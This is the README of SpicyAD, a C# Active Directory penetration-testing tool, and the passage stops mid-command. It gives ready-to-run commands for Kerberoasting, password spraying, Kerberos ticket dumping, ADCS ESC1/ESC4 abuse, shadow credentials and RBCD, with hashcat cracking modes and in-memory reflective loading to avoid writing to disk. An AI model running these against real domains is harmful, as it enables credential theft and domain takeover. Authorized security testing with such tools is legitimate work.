RayRRT/SpicyAD

GitHub: RayRRT/SpicyAD

一款 C# 编写的 Active Directory 渗透测试工具,整合多类攻击技术于一体,提供交互与命令行接口,覆盖从枚举到权限提升的完整攻击链。

Stars: 100 | Forks: 14

# SpicyAD ``` ░░░░░░░░░░░░░░▐█▀█▄░░░░░░░░░░▄█▀█▌░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░█▐▓░█▄░░░░░░░▄█▀▄▓▐█░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░█▐▓▓░████▄▄▄█▀▄▓▓▓▌█░░░░░░░░░░░░░░ ░░░░░░░░░░░░▄█▌▀▄▓▓▄▄▄▄▀▀▀▄▓▓▓▓▓▌█░░░░░░░░░░░░░░ ░░░░░░░░░░▄█▀▀▄▓█▓▓▓▓▓▓▓▓▓▓▓▓▀░▓▌█░░░░░░░░░░░░░░ ░░░░░░░░░█▀▄▓▓▓███▓▓▓███▓▓▓▄░░▄▓▐█▌░░░░░░░░░░░░░ ░░░░░░░░█▌▓▓▓▀▀▓▓▓▓███▓▓▓▓▓▓▓▄▀▓▓▐█░░░░░░░░░░░░░ ░░░░░░░▐█▐██▐░▄▓▓▓▓▓▀▄░▀▓▓▓▓▓▓▓▓▓▌█▌░░░░░░░░░░░░ ░░░░░░░█▌███▓▓▓▓▓▓▓▓▐░░▄▓▓███▓▓▓▄▀▐█░░░░░░░░░░░░ ░░░░░░░█▐█▓▀░░▀▓▓▓▓▓▓▓▓▓██████▓▓▓▓▐█▌░░░░░░░░░░░ ░░░░░░░▓▄▌▀░▀░▐▀█▄▓▓██████████▓▓▓▌█░░░░░░░░░░░░░ _____ ____ ___ ______ __ _ ____ / ___// __ \/ _/ ____/\ \/ / / \ | _ \ \__ \/ /_/ // // / \ / / _ \ | | | | ___/ / ____// // /___ / / / ___ \| |_| | /____/_/ /___/\____/ /_/ /_/ \_\____/ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░Active Directory Penetration Testing Tool░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ``` ![demo](https://raw.githubusercontent.com/RayRRT/SpicyAD/refs/heads/master/demo3.gif) ## 目录 - [描述](#description) - [功能特性](#features) - [安装](#installation) - [执行](#execution) - [交互模式](#interactive-mode) - [命令行模式](#command-line-mode) - [反射(内存执行)](#reflection-in-memory) - [全局选项](#global-options) - [连接标志](#connection-flags) - [命令](#commands) - [枚举](#enumeration) - [bloodhound](#bloodhound) - [domain-info](#domain-info) - [enum-dcs](#enum-dcs) - [enum-users](#enum-users) - [enum-computers](#enum-computers) - [enum-shares](#enum-shares) - [find-shares](#find-shares) - [domain-trusts](#domain-trusts) - [delegations](#delegations) - [laps](#laps) - [enum-vulns](#enum-vulns) - [enum-certs](#enum-certs) - [攻击](#attacks) - [kerberoast](#kerberoast) - [asreproast](#asreproast) - [targeted-kerberoast](#targeted-kerberoast) - [spray](#spray) - [dump](#dump) - [ptt](#ptt) - [asktgt](#asktgt) - [esc1](#esc1) - [esc4](#esc4) - [shadow-creds](#shadow-creds) - [rbcd](#rbcd) - [add-user](#add-user) - [delete-user](#delete-user) - [add-machine](#add-machine) - [add-to-group](#add-to-group) - [change-password](#change-password) - [攻击流程](#attack-workflows) - [参考资料](#references) - [法律声明](#legal-disclaimer) ## 免责声明:这项工具是基于我对 Kerberos 和 Active Directory 的知识,并借助 Claude-Code 完成的。我们都可能犯错,因此请自行研究、测试和修改,这是你的责任 :) ## 描述 SpicyAD 是一个用于授权安全评估的 C# Active Directory 渗透测试工具。它将多种 AD 攻击技术整合到一个易于使用的工具中,提供交互式和命令行两种界面。 **默认安全:** 当可用时,SpicyAD 会自动检测并使用 LDAPS(端口 636),如果不可用则回退到 LDAP(端口 389)。可通过 `/ldaps` 标志或设置菜单手动切换。 | 类别 | 功能 | |------|------| | **枚举** | 域信息、DC、用户、计算机、SYSVOL/NETLOGON/所有共享、信任、委托(无约束/约束/RBCD)、LAPS、证书模板(ESC1-4、ESC8)、**BloodHound Ingestor** | | **Kerberos 攻击** | Kerberoasting(RC4/AES)、AS-REP Roasting、密码喷洒、Pass-the-Ticket、目标 Kerberoasting | | **ADCS 攻击** | ESC1(任意 SAN)、ESC4(模板劫持)、PKINIT + UnPAC-the-hash | | **凭据** | 影子凭据、RBCD | | **AD 管理** | 添加/删除用户、添加计算机、组管理、更改密码 | | **自动攻击链** | ESC4 完整链 → 修改模板 → ESC1 → PKINIT → 恢复
ESC1 → 请求证书 → PKINIT → 提取 NT 哈希
影子凭据 → 添加影子凭据 → PKINIT → 提取 NT 哈希
目标 Kerberoast → 设置 SPN → Kerberoast → 恢复
密码喷洒 → 枚举用户 + badPwdCount → 喷洒 | ## 安装 ### 要求 - .NET Framework 4.8 - Windows 环境 ### 构建 ``` # 使用 dotnet CLI dotnet build SpicyAD.csproj -c Release # 使用 MSBuild msbuild SpicyAD.csproj /p:Configuration=Release ``` ### 或直接使用 VS 编译 ``` bin\Release\net48\SpicyAD.exe ``` ## 执行 SpicyAD 支持三种执行方式: | 方法 | 用途 | |------|------| | **域内执行** | 在加入目标域的机器上运行 | | **非域内执行** | 在工作组机器或不同域上运行 | | **反射** | 在内存中执行,不写入磁盘 | ### 交互模式 ``` # 域加入 .\SpicyAD.exe # 非域加入 .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd # 反射 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Run() ``` ### 命令行模式 ``` .\SpicyAD.exe [command] [options] ``` ### 反射(内存执行) 使用 .NET Reflection 在内存中执行 SpicyAD,无需写入磁盘: ``` # 加载程序集 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") # 执行命令 [SpicyAD.Program]::Execute("command", "arg1", "arg2") # 交互式菜单 [SpicyAD.Program]::Run() ``` ## 全局选项 | 选项 | 描述 | |------|------| | `/verbose`, `-v` | 显示详细输出 | | `/log` | 将输出保存到日志文件(当前目录) | | `/log:` | 将输出保存到指定路径 | ## 连接标志 在非域内机器上需要以下标志: | 标志 | 描述 | 示例 | |------|------|------| | `/domain:` | 目标域 FQDN | `/domain:evilcorp.net` | | `/dc-ip:` | 域控制器 IP | `/dc-ip:10.10.10.10` | | `/user:` | 认证用户名 | `/user:elliot` | | `/password:` | 认证密码 | `/password:P@ssw0rd` | | `/dns:` | DNS 服务器(可选) | `/dns:10.10.10.10` | | `/ldaps`, `/ssl` | 使用 LDAPS(SSL/TLS,端口 636) | `/ldaps` | ## 命令 ### 枚举 #### bloodhound BloodHound Ingestor - 收集 AD 数据以供 BloodHound CE 分析。生成兼容 BloodHound Community Edition 的 JSON 文件。 | 选项 | 描述 | |------|------| | `/collection:` | 收集方法 - 参见下表 | | `/outputdir:` | 输出目录(默认:当前目录) | | `/zipfilename:` | 自定义 ZIP 文件名 | | `/threads:` | 会话和本地组枚举的线程数(默认:10) | | `/stealth` | 跳过会话和本地组枚举 | | `/pretty` | 美化 JSON 输出(文件较大) | **收集方法:** | 方法 | 描述 | |------|------| | `default` | 组、会话、信任、ACL、对象属性、容器、本地管理员 | | `all` | 所有收集方法 | | `dconly` | 组、ACL、信任、对象属性、容器(不枚举计算机) | | `session` | 网络会话枚举(NetSessionEnum) | | `localgroup` | 本地组成员(本地管理员、RDP、DCOM、PSRemote) | | `group` | 组成员枚举 | | `acl` | 访问控制列表收集 | | `trusts` | 域信任枚举 | | `container` | OU、GPO 和容器枚举 | | `computeronly` | 仅会话和本地组枚举 | | `certservices` | 证书模板和企业 CA | **域内执行:** ``` # 默认收集 .\SpicyAD.exe bloodhound # 所有收集方法 .\SpicyAD.exe bloodhound /collection:all # 隐身模式(仅 LDAP,无计算机枚举) .\SpicyAD.exe bloodhound /collection:dconly /stealth # 使用 20 个线程进行会话枚举 .\SpicyAD.exe bloodhound /collection:session /threads:20 # 自定义输出 .\SpicyAD.exe bloodhound /outputdir:C:\loot /zipfilename:target.zip # 仅证书服务 .\SpicyAD.exe bloodhound /collection:certservices # 使用 LDAPS(SSL/TLS,端口 636) .\SpicyAD.exe /ldaps bloodhound .\SpicyAD.exe /ldaps bloodhound /collection:all ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd bloodhound .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd bloodhound /collection:all .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd bloodhound /collection:dconly /stealth # 使用 LDAPS(SSL/TLS) .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd /ldaps bloodhound ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("bloodhound") [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("bloodhound", "/collection:all") # 使用 LDAPS [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/ldaps", "bloodhound") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "bloodhound") # 非域加入(使用 LDAPS) [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "/ldaps", "bloodhound") ``` **输出:** 包含 JSON 文件的 ZIP 文件,可导入 BloodHound CE。 #### domain-info 获取域信息,包括名称、模式、森林和机器账户配额。 **域内执行:** ``` .\SpicyAD.exe domain-info ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd domain-info ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("domain-info") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "domain-info") ``` #### enum-dcs 枚举域控制器及其 IP、操作系统版本、站点和角色。 **域内执行:** ``` .\SpicyAD.exe enum-dcs ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd enum-dcs ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("enum-dcs") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "enum-dcs") ``` #### enum-users 枚举域用户及其安全相关标志(DONT_REQ_PREAUTH、HAS_SPN、DISABLED)。 **域内执行:** ``` .\SpicyAD.exe enum-users ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd enum-users ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("enum-users") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "enum-users") ``` #### enum-computers 枚举域计算机并进行 IP 解析。 **域内执行:** ``` .\SpicyAD.exe enum-computers ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd enum-computers ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("enum-computers") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "enum-computers") ``` #### enum-shares 枚举 SYSVOL/NETLOGON 共享并检测有趣文件。 **域内执行:** ``` .\SpicyAD.exe enum-shares ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd enum-shares ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("enum-shares") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "enum-shares") ``` #### find-shares 枚举所有域计算机或特定主机上的共享。 **域内执行:** ``` .\SpicyAD.exe find-shares .\SpicyAD.exe find-shares /target:SERVER01 ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd find-shares .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd find-shares /target:SERVER01 ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("find-shares") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "find-shares") ``` #### domain-trusts 枚举域信任关系。 **域内执行:** ``` .\SpicyAD.exe domain-trusts ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd domain-trusts ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("domain-trusts") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "domain-trusts") ``` #### delegations 枚举所有 Kerberos 委托(无约束、约束、RBCD)。 **域内执行:** ``` .\SpicyAD.exe delegations ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd delegations ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("delegations") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "delegations") ``` #### laps 读取 LAPS 密码(所有计算机或特定目标)。 **域内执行:** ``` .\SpicyAD.exe laps .\SpicyAD.exe laps /target:WORKSTATION01 ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd laps .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd laps /target:WORKSTATION01 ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("laps") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "laps") ``` #### enum-vulns 枚举易受攻击的证书模板(ESC1-4、ESC8)。 **域内执行:** ``` .\SpicyAD.exe enum-vulns ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd enum-vulns ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("enum-vulns") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "enum-vulns") ``` #### enum-certs 枚举所有证书模板(Certify 风格输出)。 **域内执行:** ``` .\SpicyAD.exe enum-certs .\SpicyAD.exe enum-certs /out:certs.txt ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd enum-certs ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("enum-certs") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "enum-certs") ``` ### 攻击 #### kerberoast 提取 TGS 哈希用于离线破解。 **域内执行:** ``` .\SpicyAD.exe kerberoast ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd kerberoast ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("kerberoast") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "kerberoast") ``` **使用 Hashcat 破解:** ``` hashcat -m 13100 hash.txt wordlist.txt # RC4 hashcat -m 19600 hash.txt wordlist.txt # AES128 hashcat -m 19700 hash.txt wordlist.txt # AES256 ``` #### asreproast 针对不需要预身份验证的用户。 **域内执行:** ``` .\SpicyAD.exe asreproast ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd asreproast ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("asreproast") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "asreproast") ``` **使用 Hashcat 破解:** ``` hashcat -m 18200 hash.txt wordlist.txt ``` #### targeted-kerberoast 对具有写权限的用户设置 SPN,然后进行 Kerberoasting。 **域内执行:** ``` .\SpicyAD.exe targeted-kerberoast ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd targeted-kerberoast ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("targeted-kerberoast") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "targeted-kerberoast") ``` #### spray 基于 Kerberos 的密码喷洒。 **域内执行:** ``` .\SpicyAD.exe spray /password:Summer2024! .\SpicyAD.exe spray /password:Summer2024! /delay:1000 ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd spray /password:Summer2024! ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("spray", "/password:Summer2024!") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "spray", "/password:Summer2024!") ``` #### dump 从内存中转储 Kerberos 票据。 **域内执行:** ``` .\SpicyAD.exe dump .\SpicyAD.exe dump /user:administrator .\SpicyAD.exe dump /service:krbtgt .\SpicyAD.exe dump /nowrap ``` **非域内执行:** ``` # 不需要域上下文 - 使用本地 LSA .\SpicyAD.exe dump ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("dump") [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("dump", "/nowrap") ``` #### ptt Pass-the-Ticket - 将 .kirbi 票据导入当前会话。 **域内执行:** ``` .\SpicyAD.exe ptt administrator.kirbi .\SpicyAD.exe ptt /ticket:administrator.kirbi ``` **非域内执行:** ``` # 不需要域上下文 - 使用本地 LSA .\SpicyAD.exe ptt administrator.kirbi ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("ptt", "/ticket:administrator.kirbi") ``` #### asktgt PKINIT - 使用证书请求 TGT 并提取 NT 哈希。 **域内执行:** ``` .\SpicyAD.exe asktgt /certificate:admin.pfx /getcredentials ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 asktgt /certificate:admin.pfx /getcredentials ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("asktgt", "/certificate:admin.pfx", "/getcredentials") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "asktgt", "/certificate:admin.pfx", "/getcredentials") ``` #### esc1 ESC1 - 请求具有任意 SAN(主题备用名称)的证书。 **域内执行:** ``` .\SpicyAD.exe esc1 /template:VulnTemplate /target:administrator .\SpicyAD.exe esc1 /template:VulnTemplate /target:administrator /sid ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:lowpriv /password:P@ssw0rd esc1 /template:VulnTemplate /target:administrator /sid ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("esc1", "/template:VulnTemplate", "/target:administrator", "/sid") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:lowpriv", "/password:P@ssw0rd", "esc1", "/template:VulnTemplate", "/target:administrator", "/sid") ``` #### esc4 ESC4 - 模板劫持。完整攻击链:备份 → 修改 → ESC1 → 恢复。 **域内执行:** ``` # 列出 ESC4 漏洞模板 .\SpicyAD.exe esc4 list # 完整攻击链 .\SpicyAD.exe esc4 /template:VulnTemplate /target:administrator /sid # 手动步骤 .\SpicyAD.exe esc4 backup VulnTemplate .\SpicyAD.exe esc4 modify VulnTemplate .\SpicyAD.exe esc1 /template:VulnTemplate /target:administrator /sid .\SpicyAD.exe esc4 restore VulnTemplate_backup.json ``` **非域内执行:** ``` # 列出 ESC4 漏洞模板 .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:lowpriv /password:P@ssw0rd esc4 list # 完整攻击链 .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:lowpriv /password:P@ssw0rd esc4 /template:VulnTemplate /target:administrator /sid ``` **反射:** ``` # 列出 ESC4 漏洞模板 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("esc4", "list") # 完整攻击链 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("esc4", "/template:VulnTemplate", "/target:administrator", "/sid") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:lowpriv", "/password:P@ssw0rd", "esc4", "/template:VulnTemplate", "/target:administrator", "/sid") ``` #### shadow-creds 通过 msDS-KeyCredentialLink 进行影子凭据攻击。 **域内执行:** ``` # 添加影子凭证 .\SpicyAD.exe shadow-creds add /target:VICTIM$ /sid # 列出凭证 .\SpicyAD.exe shadow-creds list /target:VICTIM$ # 移除特定凭证 .\SpicyAD.exe shadow-creds remove /target:VICTIM$ /deviceid: # 清除所有凭证 .\SpicyAD.exe shadow-creds clear /target:VICTIM$ ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:lowpriv /password:P@ssw0rd shadow-creds add /target:VICTIM$ /sid .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:lowpriv /password:P@ssw0rd shadow-creds list /target:VICTIM$ ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("shadow-creds", "add", "/target:VICTIM$", "/sid") [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("shadow-creds", "list", "/target:VICTIM$") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:lowpriv", "/password:P@ssw0rd", "shadow-creds", "add", "/target:VICTIM$", "/sid") ``` #### rbcd 基于资源的约束委派攻击。 **域内执行:** ``` # 获取当前 RBCD 配置 .\SpicyAD.exe rbcd get /target:SERVER$ # 设置 RBCD .\SpicyAD.exe rbcd set /target:SERVER$ /controlled:YOURPC$ # 清除 RBCD .\SpicyAD.exe rbcd clear /target:SERVER$ /force ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:lowpriv /password:P@ssw0rd rbcd get /target:SERVER$ .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:lowpriv /password:P@ssw0rd rbcd set /target:SERVER$ /controlled:YOURPC$ ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("rbcd", "get", "/target:SERVER$") [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("rbcd", "set", "/target:SERVER$", "/controlled:YOURPC$") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:lowpriv", "/password:P@ssw0rd", "rbcd", "set", "/target:SERVER$", "/controlled:YOURPC$") ``` #### add-user 向域中添加新用户账户。 **域内执行:** ``` .\SpicyAD.exe add-user /name:newuser /new-pass:P@ssw0rd123 ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd add-user /name:newuser /new-pass:P@ssw0rd123 ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("add-user", "/name:newuser", "/new-pass:P@ssw0rd123") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "add-user", "/name:newuser", "/new-pass:P@ssw0rd123") ``` #### delete-user 从域中删除用户账户。 **域内执行:** ``` .\SpicyAD.exe delete-user /target:baduser .\SpicyAD.exe delete-user /target:baduser /force ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd delete-user /target:baduser /force ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("delete-user", "/target:baduser", "/force") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "delete-user", "/target:baduser", "/force") ``` #### add-machine 向域中添加新机器账户。 **域内执行:** ``` .\SpicyAD.exe add-machine /name:YOURPC$ .\SpicyAD.exe add-machine /name:YOURPC$ /mac-pass:P@ssw0rd123 ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd add-machine /name:YOURPC$ /mac-pass:P@ssw0rd123 ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("add-machine", "/name:YOURPC$", "/mac-pass:P@ssw0rd123") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; 